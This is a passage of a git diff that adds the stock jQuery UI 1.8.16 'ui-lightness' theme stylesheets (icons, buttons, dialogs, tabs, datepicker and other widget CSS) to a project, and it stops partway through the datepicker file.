+.ui-icon-plus { background-position: -16px -128px; } +.ui-icon-plusthick { background-position: -32px -128px; } +.ui-icon-minus { background-position: -48px -128px; } +.ui-icon-minusthick { background-position: -64px -128px; } +.ui-icon-close { background-position: -80px -128px; } +.ui-icon-closethick { background-position: -96px -128px; } +.ui-icon-key { background-position: -112px -128px; } +.ui-icon-lightbulb { background-position: -128px -128px; } +.ui-icon-scissors { background-position: -144px -128px; } +.ui-icon-clipboard { background-position: -160px -128px; } +.ui-icon-copy { background-position: -176px -128px; } +.ui-icon-contact { background-position: -192px -128px; } +.ui-icon-image { background-position: -208px -128px; } +.ui-icon-video { background-position: -224px -128px; } +.ui-icon-script { background-position: -240px -128px; } +.ui-icon-alert { background-position: 0 -144px; } +.ui-icon-info { background-position: -16px -144px; } +.ui-icon-notice { background-position: -32px -144px; } +.ui-icon-help { background-position: -48px -144px; } +.ui-icon-check { background-position: -64px -144px; } +.ui-icon-bullet { background-position: -80px -144px; } +.ui-icon-radio-off { background-position: -96px -144px; } +.ui-icon-radio-on { background-position: -112px -144px; } +.ui-icon-pin-w { background-position: -128px -144px; } +.ui-icon-pin-s { background-position: -144px -144px; } +.ui-icon-play { background-position: 0 -160px; } +.ui-icon-pause { background-position: -16px -160px; } +.ui-icon-seek-next { background-position: -32px -160px; } +.ui-icon-seek-prev { background-position: -48px -160px; } +.ui-icon-seek-end { background-position: -64px -160px; } +.ui-icon-seek-start { background-position: -80px -160px; } +/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ +.ui-icon-seek-first { background-position: -80px -160px; } +.ui-icon-stop { background-position: -96px -160px; } +.ui-icon-eject { background-position: -112px -160px; } +.ui-icon-volume-off { background-position: -128px -160px; } +.ui-icon-volume-on { background-position: -144px -160px; } +.ui-icon-power { background-position: 0 -176px; } +.ui-icon-signal-diag { background-position: -16px -176px; } +.ui-icon-signal { background-position: -32px -176px; } +.ui-icon-battery-0 { background-position: -48px -176px; } +.ui-icon-battery-1 { background-position: -64px -176px; } +.ui-icon-battery-2 { background-position: -80px -176px; } +.ui-icon-battery-3 { background-position: -96px -176px; } +.ui-icon-circle-plus { background-position: 0 -192px; } +.ui-icon-circle-minus { background-position: -16px -192px; } +.ui-icon-circle-close { background-position: -32px -192px; } +.ui-icon-circle-triangle-e { background-position: -48px -192px; } +.ui-icon-circle-triangle-s { background-position: -64px -192px; } +.ui-icon-circle-triangle-w { background-position: -80px -192px; } +.ui-icon-circle-triangle-n { background-position: -96px -192px; } +.ui-icon-circle-arrow-e { background-position: -112px -192px; } +.ui-icon-circle-arrow-s { background-position: -128px -192px; } +.ui-icon-circle-arrow-w { background-position: -144px -192px; } +.ui-icon-circle-arrow-n { background-position: -160px -192px; } +.ui-icon-circle-zoomin { background-position: -176px -192px; } +.ui-icon-circle-zoomout { background-position: -192px -192px; } +.ui-icon-circle-check { background-position: -208px -192px; } +.ui-icon-circlesmall-plus { background-position: 0 -208px; } +.ui-icon-circlesmall-minus { background-position: -16px -208px; } +.ui-icon-circlesmall-close { background-position: -32px -208px; } +.ui-icon-squaresmall-plus { background-position: -48px -208px; } +.ui-icon-squaresmall-minus { background-position: -64px -208px; } +.ui-icon-squaresmall-close { background-position: -80px -208px; } +.ui-icon-grip-dotted-vertical { background-position: 0 -224px; } +.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } +.ui-icon-grip-solid-vertical { background-position: -32px -224px; } +.ui-icon-grip-solid-horizontal { background-position: -48px -224px; } +.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } +.ui-icon-grip-diagonal-se { background-position: -80px -224px; } + + +/* Misc visuals +----------------------------------*/ + +/* Corner radius */ +.ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; -khtml-border-top-left-radius: 4px; border-top-left-radius: 4px; } +.ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; -khtml-border-top-right-radius: 4px; border-top-right-radius: 4px; } +.ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; -khtml-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; } +.ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; -khtml-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } + +/* Overlays */ +.ui-widget-overlay { background: #666666 url(images/ui-bg_diagonals-thick_20_666666_40x40.png) 50% 50% repeat; opacity: .50;filter:Alpha(Opacity=50); } +.ui-widget-shadow { margin: -5px 0 0 -5px; padding: 5px; background: #000000 url(images/ui-bg_flat_10_000000_40x100.png) 50% 50% repeat-x; opacity: .20;filter:Alpha(Opacity=20); -moz-border-radius: 5px; -khtml-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; }/* + * jQuery UI Resizable 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Resizable#theming + */ +.ui-resizable { position: relative;} +.ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block; } +.ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } +.ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } +.ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } +.ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } +.ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } +.ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } +.ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } +.ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } +.ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;}/* + * jQuery UI Selectable 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Selectable#theming + */ +.ui-selectable-helper { position: absolute; z-index: 100; border:1px dotted black; } +/* + * jQuery UI Accordion 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Accordion#theming + */ +/* IE/Win - Fix animation bug - #4615 */ +.ui-accordion { width: 100%; } +.ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; } +.ui-accordion .ui-accordion-li-fix { display: inline; } +.ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; } +.ui-accordion .ui-accordion-header a { display: block; font-size: 1em; padding: .5em .5em .5em .7em; } +.ui-accordion-icons .ui-accordion-header a { padding-left: 2.2em; } +.ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; } +.ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; margin-top: -2px; position: relative; top: 1px; margin-bottom: 2px; overflow: auto; display: none; zoom: 1; } +.ui-accordion .ui-accordion-content-active { display: block; } +/* + * jQuery UI Autocomplete 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Autocomplete#theming + */ +.ui-autocomplete { position: absolute; cursor: default; } + +/* workarounds */ +* html .ui-autocomplete { width:1px; } /* without this, the menu expands to 100% in IE6 */ + +/* + * jQuery UI Menu 1.8.16 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Menu#theming + */ +.ui-menu { + list-style:none; + padding: 2px; + margin: 0; + display:block; + float: left; +} +.ui-menu .ui-menu { + margin-top: -3px; +} +.ui-menu .ui-menu-item { + margin:0; + padding: 0; + zoom: 1; + float: left; + clear: left; + width: 100%; +} +.ui-menu .ui-menu-item a { + text-decoration:none; + display:block; + padding:.2em .4em; + line-height:1.5; + zoom:1; +} +.ui-menu .ui-menu-item a.ui-state-hover, +.ui-menu .ui-menu-item a.ui-state-active { + font-weight: normal; + margin: -1px; +} +/* + * jQuery UI Button 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Button#theming + */ +.ui-button { display: inline-block; position: relative; padding: 0; margin-right: .1em; text-decoration: none !important; cursor: pointer; text-align: center; zoom: 1; overflow: visible; } /* the overflow property removes extra width in IE */ +.ui-button-icon-only { width: 2.2em; } /* to make room for the icon, a width needs to be set here */ +button.ui-button-icon-only { width: 2.4em; } /* button elements seem to need a little more width */ +.ui-button-icons-only { width: 3.4em; } +button.ui-button-icons-only { width: 3.7em; } + +/*button text element */ +.ui-button .ui-button-text { display: block; line-height: 1.4; } +.ui-button-text-only .ui-button-text { padding: .4em 1em; } +.ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: .4em; text-indent: -9999999px; } +.ui-button-text-icon-primary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 1em .4em 2.1em; } +.ui-button-text-icon-secondary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 2.1em .4em 1em; } +.ui-button-text-icons .ui-button-text { padding-left: 2.1em; padding-right: 2.1em; } +/* no icon support for input elements, provide padding by default */ +input.ui-button { padding: .4em 1em; } + +/*button icon element(s) */ +.ui-button-icon-only .ui-icon, .ui-button-text-icon-primary .ui-icon, .ui-button-text-icon-secondary .ui-icon, .ui-button-text-icons .ui-icon, .ui-button-icons-only .ui-icon { position: absolute; top: 50%; margin-top: -8px; } +.ui-button-icon-only .ui-icon { left: 50%; margin-left: -8px; } +.ui-button-text-icon-primary .ui-button-icon-primary, .ui-button-text-icons .ui-button-icon-primary, .ui-button-icons-only .ui-button-icon-primary { left: .5em; } +.ui-button-text-icon-secondary .ui-button-icon-secondary, .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } +.ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } + +/*button sets*/ +.ui-buttonset { margin-right: 7px; } +.ui-buttonset .ui-button { margin-left: 0; margin-right: -.3em; } + +/* workarounds */ +button.ui-button::-moz-focus-inner { border: 0; padding: 0; } /* reset extra padding in Firefox */ +/* + * jQuery UI Dialog 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Dialog#theming + */ +.ui-dialog { position: absolute; padding: .2em; width: 300px; overflow: hidden; } +.ui-dialog .ui-dialog-titlebar { padding: .4em 1em; position: relative; } +.ui-dialog .ui-dialog-title { float: left; margin: .1em 16px .1em 0; } +.ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 19px; margin: -10px 0 0 0; padding: 1px; height: 18px; } +.ui-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; } +.ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus { padding: 0; } +.ui-dialog .ui-dialog-content { position: relative; border: 0; padding: .5em 1em; background: none; overflow: auto; zoom: 1; } +.ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; } +.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } +.ui-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } +.ui-dialog .ui-resizable-se { width: 14px; height: 14px; right: 3px; bottom: 3px; } +.ui-draggable .ui-dialog-titlebar { cursor: move; } +/* + * jQuery UI Slider 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Slider#theming + */ +.ui-slider { position: relative; text-align: left; } +.ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; } +.ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: .7em; display: block; border: 0; background-position: 0 0; } + +.ui-slider-horizontal { height: .8em; } +.ui-slider-horizontal .ui-slider-handle { top: -.3em; margin-left: -.6em; } +.ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; } +.ui-slider-horizontal .ui-slider-range-min { left: 0; } +.ui-slider-horizontal .ui-slider-range-max { right: 0; } + +.ui-slider-vertical { width: .8em; height: 100px; } +.ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; } +.ui-slider-vertical .ui-slider-range { left: 0; width: 100%; } +.ui-slider-vertical .ui-slider-range-min { bottom: 0; } +.ui-slider-vertical .ui-slider-range-max { top: 0; }/* + * jQuery UI Tabs 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Tabs#theming + */ +.ui-tabs { position: relative; padding: .2em; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ +.ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; } +.ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; margin: 0 .2em 1px 0; border-bottom: 0 !important; padding: 0; white-space: nowrap; } +.ui-tabs .ui-tabs-nav li a { float: left; padding: .5em 1em; text-decoration: none; } +.ui-tabs .ui-tabs-nav li.ui-tabs-selected { margin-bottom: 0; padding-bottom: 1px; } +.ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; } +.ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ +.ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; } +.ui-tabs .ui-tabs-hide { display: none !important; } +/* + * jQuery UI Datepicker 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Datepicker#theming + */ +.ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } +.ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; } +.ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; } +.ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { top: 1px; } +.ui-datepicker .ui-datepicker-prev { left:2px; } +.ui-datepicker .ui-datepicker-next { right:2px; } +.ui-datepicker .ui-datepicker-prev-hover { left:1px; } +.ui-datepicker .ui-datepicker-next-hover { right:1px; } +.ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } +.ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } +.ui-datepicker .ui-datepicker-title select { font-size:1em; margin:1px 0; } +.ui-datepicker select.ui-datepicker-month-year {width: 100%;} +.ui-datepicker select.ui-datepicker-month, +.ui-datepicker select.ui-datepicker-year { width: 49%;} +.ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } +.ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } +.ui-datepicker td { border: 0; padding: 1px; } +.ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } +.ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } +.ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } +.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } + +/* with multiple calendars */ +.ui-datepicker.ui-datepicker-multi { width:auto; } +.ui-datepicker-multi .ui-datepicker-group { float:left; } +.ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } +.ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } +.ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } +.ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } +.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } +.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } +.ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } +.ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } + +/* RTL support */ +.ui-datepicker-rtl { direction: rtl; } +.ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } +.ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } +.ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } +.ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } +.ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } +.ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } +.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } +.ui-datepicker-rtl .ui-datepicker-group { float:right; } +.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } +.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } + +/* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ +.ui-datepicker-cover { + display: none; /*sorry for IE5*/ + display/**/: block; /*sorry for IE5*/ + position: absolute; /*must have*/ + z-index: -1; /*must have*/ + filter: mask(); /*must have*/ + top: -4px; /*must have*/ + left: -4px; /*must have*/ + width: 200px; /*must have*/ + height: 200px; /*must have*/ +}/* + * jQuery UI Progressbar 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Progressbar#theming + */ +.ui-progressbar { height:2em; text-align: left; } +.ui-progressbar .ui-progressbar-value {margin: -1px; height:100%; } \ No newline at end of file diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.accordion.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.accordion.css new file mode 100755 index 0000000..327beb5 --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.accordion.css @@ -0,0 +1,19 @@ +/* + * jQuery UI Accordion 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Accordion#theming + */ +/* IE/Win - Fix animation bug - #4615 */ +.ui-accordion { width: 100%; } +.ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; } +.ui-accordion .ui-accordion-li-fix { display: inline; } +.ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; } +.ui-accordion .ui-accordion-header a { display: block; font-size: 1em; padding: .5em .5em .5em .7em; } +.ui-accordion-icons .ui-accordion-header a { padding-left: 2.2em; } +.ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; } +.ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; margin-top: -2px; position: relative; top: 1px; margin-bottom: 2px; overflow: auto; display: none; zoom: 1; } +.ui-accordion .ui-accordion-content-active { display: block; } diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.all.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.all.css new file mode 100755 index 0000000..bf68bc4 --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.all.css @@ -0,0 +1,11 @@ +/* + * jQuery UI CSS Framework 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Theming + */ +@import "jquery.ui.base.css"; +@import "jquery.ui.theme.css"; diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.autocomplete.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.autocomplete.css new file mode 100755 index 0000000..6de6867 --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.autocomplete.css @@ -0,0 +1,53 @@ +/* + * jQuery UI Autocomplete 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Autocomplete#theming + */ +.ui-autocomplete { position: absolute; cursor: default; } + +/* workarounds */ +* html .ui-autocomplete { width:1px; } /* without this, the menu expands to 100% in IE6 */ + +/* + * jQuery UI Menu 1.8.16 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Menu#theming + */ +.ui-menu { + list-style:none; + padding: 2px; + margin: 0; + display:block; + float: left; +} +.ui-menu .ui-menu { + margin-top: -3px; +} +.ui-menu .ui-menu-item { + margin:0; + padding: 0; + zoom: 1; + float: left; + clear: left; + width: 100%; +} +.ui-menu .ui-menu-item a { + text-decoration:none; + display:block; + padding:.2em .4em; + line-height:1.5; + zoom:1; +} +.ui-menu .ui-menu-item a.ui-state-hover, +.ui-menu .ui-menu-item a.ui-state-active { + font-weight: normal; + margin: -1px; +} diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.base.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.base.css new file mode 100755 index 0000000..f52ee39 --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.base.css @@ -0,0 +1,11 @@ +@import url("jquery.ui.core.css"); +@import url("jquery.ui.resizable.css"); +@import url("jquery.ui.selectable.css"); +@import url("jquery.ui.accordion.css"); +@import url("jquery.ui.autocomplete.css"); +@import url("jquery.ui.button.css"); +@import url("jquery.ui.dialog.css"); +@import url("jquery.ui.slider.css"); +@import url("jquery.ui.tabs.css"); +@import url("jquery.ui.datepicker.css"); +@import url("jquery.ui.progressbar.css"); \ No newline at end of file diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.button.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.button.css new file mode 100755 index 0000000..31c79f9 --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.button.css @@ -0,0 +1,38 @@ +/* + * jQuery UI Button 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Button#theming + */ +.ui-button { display: inline-block; position: relative; padding: 0; margin-right: .1em; text-decoration: none !important; cursor: pointer; text-align: center; zoom: 1; overflow: visible; } /* the overflow property removes extra width in IE */ +.ui-button-icon-only { width: 2.2em; } /* to make room for the icon, a width needs to be set here */ +button.ui-button-icon-only { width: 2.4em; } /* button elements seem to need a little more width */ +.ui-button-icons-only { width: 3.4em; } +button.ui-button-icons-only { width: 3.7em; } + +/*button text element */ +.ui-button .ui-button-text { display: block; line-height: 1.4; } +.ui-button-text-only .ui-button-text { padding: .4em 1em; } +.ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: .4em; text-indent: -9999999px; } +.ui-button-text-icon-primary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 1em .4em 2.1em; } +.ui-button-text-icon-secondary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 2.1em .4em 1em; } +.ui-button-text-icons .ui-button-text { padding-left: 2.1em; padding-right: 2.1em; } +/* no icon support for input elements, provide padding by default */ +input.ui-button { padding: .4em 1em; } + +/*button icon element(s) */ +.ui-button-icon-only .ui-icon, .ui-button-text-icon-primary .ui-icon, .ui-button-text-icon-secondary .ui-icon, .ui-button-text-icons .ui-icon, .ui-button-icons-only .ui-icon { position: absolute; top: 50%; margin-top: -8px; } +.ui-button-icon-only .ui-icon { left: 50%; margin-left: -8px; } +.ui-button-text-icon-primary .ui-button-icon-primary, .ui-button-text-icons .ui-button-icon-primary, .ui-button-icons-only .ui-button-icon-primary { left: .5em; } +.ui-button-text-icon-secondary .ui-button-icon-secondary, .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } +.ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } + +/*button sets*/ +.ui-buttonset { margin-right: 7px; } +.ui-buttonset .ui-button { margin-left: 0; margin-right: -.3em; } + +/* workarounds */ +button.ui-button::-moz-focus-inner { border: 0; padding: 0; } /* reset extra padding in Firefox */ diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.core.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.core.css new file mode 100755 index 0000000..375d4ad --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.core.css @@ -0,0 +1,41 @@ +/* + * jQuery UI CSS Framework 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Theming/API + */ + +/* Layout helpers +----------------------------------*/ +.ui-helper-hidden { display: none; } +.ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } +.ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } +.ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } +.ui-helper-clearfix { display: inline-block; } +/* required comment for clearfix to work in Opera \*/ +* html .ui-helper-clearfix { height:1%; } +.ui-helper-clearfix { display:block; } +/* end clearfix */ +.ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } + + +/* Interaction Cues +----------------------------------*/ +.ui-state-disabled { cursor: default !important; } + + +/* Icons +----------------------------------*/ + +/* states and images */ +.ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } + + +/* Misc visuals +----------------------------------*/ + +/* Overlays */ +.ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.datepicker.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.datepicker.css new file mode 100755 index 0000000..28efc94 --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.datepicker.css @@ -0,0 +1,68 @@ +/* + * jQuery UI Datepicker 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Datepicker#theming + */ +.ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } +.ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; } +.ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; } +.ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { top: 1px; } +.ui-datepicker .ui-datepicker-prev { left:2px; } +.ui-datepicker .ui-datepicker-next { right:2px; } +.ui-datepicker .ui-datepicker-prev-hover { left:1px; } +.ui-datepicker .ui-datepicker-next-hover { right:1px; } +.ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } +.ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } +.ui-datepicker .ui-datepicker-title select { font-size:1em; margin:1px 0; } +.ui-datepicker select.ui-datepicker-month-year {width: 100%;} +.ui-datepicker select.ui-datepicker-month, +.ui-datepicker select.ui-datepicker-year { width: 49%;} +.ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } +.ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } +.ui-datepicker td { border: 0; padding: 1px; } +.ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } +.ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } +.ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } +.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } + +/* with multiple calendars */ +.ui-datepicker.ui-datepicker-multi { 